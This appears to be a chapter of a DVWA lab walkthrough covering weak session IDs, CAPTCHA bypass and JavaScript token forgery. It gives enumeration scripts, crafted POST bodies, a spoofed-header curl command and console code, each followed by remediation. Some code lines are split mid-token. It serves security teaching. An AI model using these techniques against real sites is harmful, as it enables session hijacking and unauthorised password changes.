🔍 09 — Weak Session IDs, Insecure CAPTCHA & JS Attacks

Weak Session IDs, Insecure CAPTCHA & JavaScript Attacks

🔑 WEAK SESSION IDs

OWASP: A07 | **CWE**: CWE-330 | **Severity**: 🟡 Medium

Endpoint: `http://localhost/dvwa/vulnerabilities/weak_id/`

Security Level: LOW

Behavior

Session token is a sequential integer (0, 1, 2, 3...).

```
# Click 'Generate' button multiple times
# Observe cookie dvwaSession:
dvwaSession=1
dvwaSession=2
dvwaSession=3

# Predictable! Attacker can guess other active sessions
# Try:
dvwaSession=5    # another user's session
dvwaSession=0    # first user
```

Session Enumeration Script

```
import requests

base_url = "http://localhost/dvwa/vulnerabilities/weak_id/"

for session_id in range(1, 100):
    cookies = {
        "PHPSESSID": "YOUR_AUTH_SESSION",
        "security": "low",
```

```
        "dvwaSession": str(session_id)
    }
    r = requests.get(base_url, cookies=cookies)
    if "Welcome" in r.text or "admin" in r.text.lower():
        print(f"[+] Valid session found: {session_id}")
```

Security Level: MEDIUM

Behavior

Session is MD5 of the sequential number: `md5('1')`, `md5('2')`...

```
import hashlib
# Generate predictable hashes
for i in range(1, 20):
    print(f"{i}: {hashlib.md5(str(i).encode()).hexdigest()}")
# c4ca4238a0b923820dcc509a6f75849b = md5('1')
# c81e728d9d4c2f636f067f89cc14862c = md5('2')
```

Security Level: HIGH

Behavior

Session is MD5 of current timestamp: `md5(time())`

```
import hashlib, time, requests
# Guess current server timestamp (usually within seconds)
for t in range(int(time.time())-5, int(time.time())+5):
    session = hashlib.md5(str(t).encode()).hexdigest()
    print(f"Trying: {session}")
```

Security Level: IMPOSSIBLE

Cryptographically random 32-byte token. Cannot be predicted or enumerated.

Remediation

```
// Secure session token generation
$session_token = bin2hex(random_bytes(32));
// 256 bits of entropy - infeasible to brute force
```

🤖 INSECURE CAPTCHA

OWASP: A07 | **CWE**: CWE-287 | **Severity**: 🟠 High

Endpoint: `http://localhost/dvwa/vulnerabilities/captcha/`

Security Level: LOW

Vulnerability

CAPTCHA verification is done client-side or skipped via parameter manipulation.

```
# Step 1: Intercept password change with Burp Suite
POST /dvwa/vulnerabilities/captcha/
step=1&password_new=hacked&password_conf=hacked&recaptcha_response_fi
eld=test

# Step 2: Skip CAPTCHA by directly submitting step=2
POST /dvwa/vulnerabilities/captcha/
step=2&password_new=hacked&password_conf=hacked&passed_captcha=true

# step=2 skips CAPTCHA validation entirely!
```

Security Level: MEDIUM

Bypass

Passed CAPTCHA state stored in POST param, not server-side session.

```
# Add passed_captcha=true to bypass:
POST /dvwa/vulnerabilities/captcha/
step=2&password_new=bypassed&password_conf=bypassed&passed_captcha=tr
ue
```

Security Level: HIGH

Bypass

User-Agent header checked: if `reCAPTCHA` in User-Agent, CAPTCHA is skipped.

```
# Burp Suite: Add custom header
User-Agent: reCAPTCHA

# Or use curl:
curl -X POST http://localhost/dvwa/vulnerabilities/captcha/ \
  --cookie "PHPSESSID=XXX; security=high" \
  -A "reCAPTCHA" \
```

```
  --data "step=1&password_new=bypassed&password_conf=bypassed&Change=
Change"
```

Remediation

```
// Always validate CAPTCHA server-side using reCAPTCHA API
$response = file_get_contents('https://www.google.com/recaptcha/api/s
iteverify?secret=SECRET&response='.$_POST['g-recaptcha-response']);
$json = json_decode($response);
if (!$json->success) die('CAPTCHA validation failed');
```

💻 JAVASCRIPT ATTACKS

OWASP: A05 | **CWE**: CWE-345 | **Severity**: 🟡 Medium

Endpoint: `http://localhost/dvwa/vulnerabilities/javascript/`

Description

The page generates a token client-side using JavaScript. The token is based on the phrase "success" and is submitted back to the server for validation. Attackers who understand the JS logic can generate valid tokens manually.

Security Level: LOW

Analysis

```
// Page source JS (simplified):
function generate_token() {
    var phrase = document.getElementById('phrase').value;
    // Token = MD5 of reversed phrase + 'XX'
    token = md5(rot13(phrase));
    document.getElementById('token').value = token;
}
```

PoC

```
// Open browser console on the DVWA page
// Observe token generation:
// For phrase 'success': rot13 = 'fhpprff', md5('fhpprff') = ...

// In console:
var phrase = 'success';
var rotated = phrase.split('').map(c => {
```

```
    if (c >= 'a' && c <= 'z') return String.fromCharCode((c.charCodeA
t(0) - 97 + 13) % 26 + 97);
    if (c >= 'A' && c <= 'Z') return String.fromCharCode((c.charCodeA
t(0) - 65 + 13) % 26 + 65);
    return c;
}).join('');
console.log('ROT13:', rotated);
// Then MD5 hash that value -> submit as token
```

Solution

```
# Use browser DevTools:
# 1. Open Console
# 2. Type: generate_token()
# 3. Check token field value
# 4. Submit form with that token

# Or intercept with Burp, let JS generate token, then submit
```

Security Level: HIGH

Analysis

Obfuscated JavaScript. Use browser DevTools Debugger:

```
1. DevTools > Sources > dvwa/vulnerabilities/javascript/
2. Find the JS file
3. Click {} to pretty-print
4. Set breakpoints before token assignment
5. Step through to see token value
6. Copy and submit
```

Remediation

```
1. Never rely on client-side token generation for security
2. Generate tokens server-side
3. Validate tokens server-side
4. Client-side JS is always visible to the user
```

📚 References

- CWE-330: https://cwe.mitre.org/data/definitions/330.html

- CWE-287: https://cwe.mitre.org/data/definitions/287.html
- OWASP Session Management: https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html